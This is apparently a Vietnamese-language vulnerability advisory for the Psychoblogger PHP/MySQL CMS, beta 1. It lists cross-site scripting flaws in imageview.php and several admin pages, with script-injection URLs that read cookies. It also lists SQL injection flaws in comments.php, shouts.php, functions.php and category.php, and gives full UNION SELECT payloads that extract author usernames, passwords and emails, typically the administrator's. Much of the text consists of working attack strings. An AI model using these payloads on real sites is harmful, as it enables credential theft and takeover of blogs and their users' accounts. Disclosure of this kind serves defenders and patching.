Lỗi trong Psychoblogger CMS
trang này đã được đọc lầnWebsite nguồn :http://www.psychoblogger.com
Bản lỗi : PB-beta1
Tác giả : Andrew Smith
Mô tả :
Psychoblogger là một phần mềm được viết bằng PHP sử dụng CSDL MySQL , Dùng để
quản lý hệ thống thông tin , dễ cài đặt dễ sử dụng
Các Lỗi tìm thấy :
Lỗi 1 :
Lỗi Cross-Site-Scriting ( CSS) nằm trong file 'imageview.php', cho phép input
vào script từ biến "desc" :
http://server.com/imageview.php?desc=</title><script>alert(document.cookie)</script>
Tác đông : Low/Medium - khó có thể khai thác thành công :D , chỉ sử dụng để
lấy cookies .
Lỗi 2 :
Vẫn CSS có thể khai thác được tìm thấy trong các file 'entryadmin.php',
'authoredit.php','blockedit.php' 'configadmin.php' và 'quoteedit.php'.
http://server.com/entryadmin.php?error=1&errormessage=<script>alert('xss')</script>
Lỗi 3 :
Một lỗi SQL Injection đươc tìm thấy trong file : 'shouts.php' sử dụng bởi biến
'shoutlimit'.
Lỗi 4 :
Lỗi SQL Injection trong file : " comments.php" sử dụng khai thác từ biến
'blogid''
Hacker có thể truy vấn DB để lấy được username và password của bất cứ id nào .
http://server/comments.php?blogid=1 and 'a'='z' union select
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid
from blog_authors ba, blog_entries be where 'a'='a'
sau đó sử dụng truy vấn sau :
select blogid,preview,entry,be.dateentered,title,pageviews,usepreview,name
from blog_entries be inner join blog_authors ba on be.authorid=ba.authorid
where blogid=1 and 'a'='z' union select
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid
from blog_authors ba, blog_entries be where 'a'='a'
and be.active=1
Khi đó kết quả thu được sẽ cho ta biết user và pass của id đầu tiên trong
database (thường là administrator)
Lỗi 5 :
SQL-Injection trong các file : functions.php' 'userfunctions.php',
'category.php' :
Chúng ta bắt đầu khai thác :
1 and 1=2 union select
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid,be.preview
from blog_authors ba, blog_entries be where 1=1
sau đó dùng truy vấn sau để output ra dữ liệu :
select
be.blogid,be.preview,be.entry,be.dateentered,be.title,be.pageviews,be.usepreview,ba.name,be.pinned
from blog_entries be inner join blog_authors ba
on be.authorid=ba.authorid where catid=1 and 1=2 union select
ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid,be.preview
from blog_authors ba,
blog_entries be where 1=1 and be.active=1 order by be.dateentered desc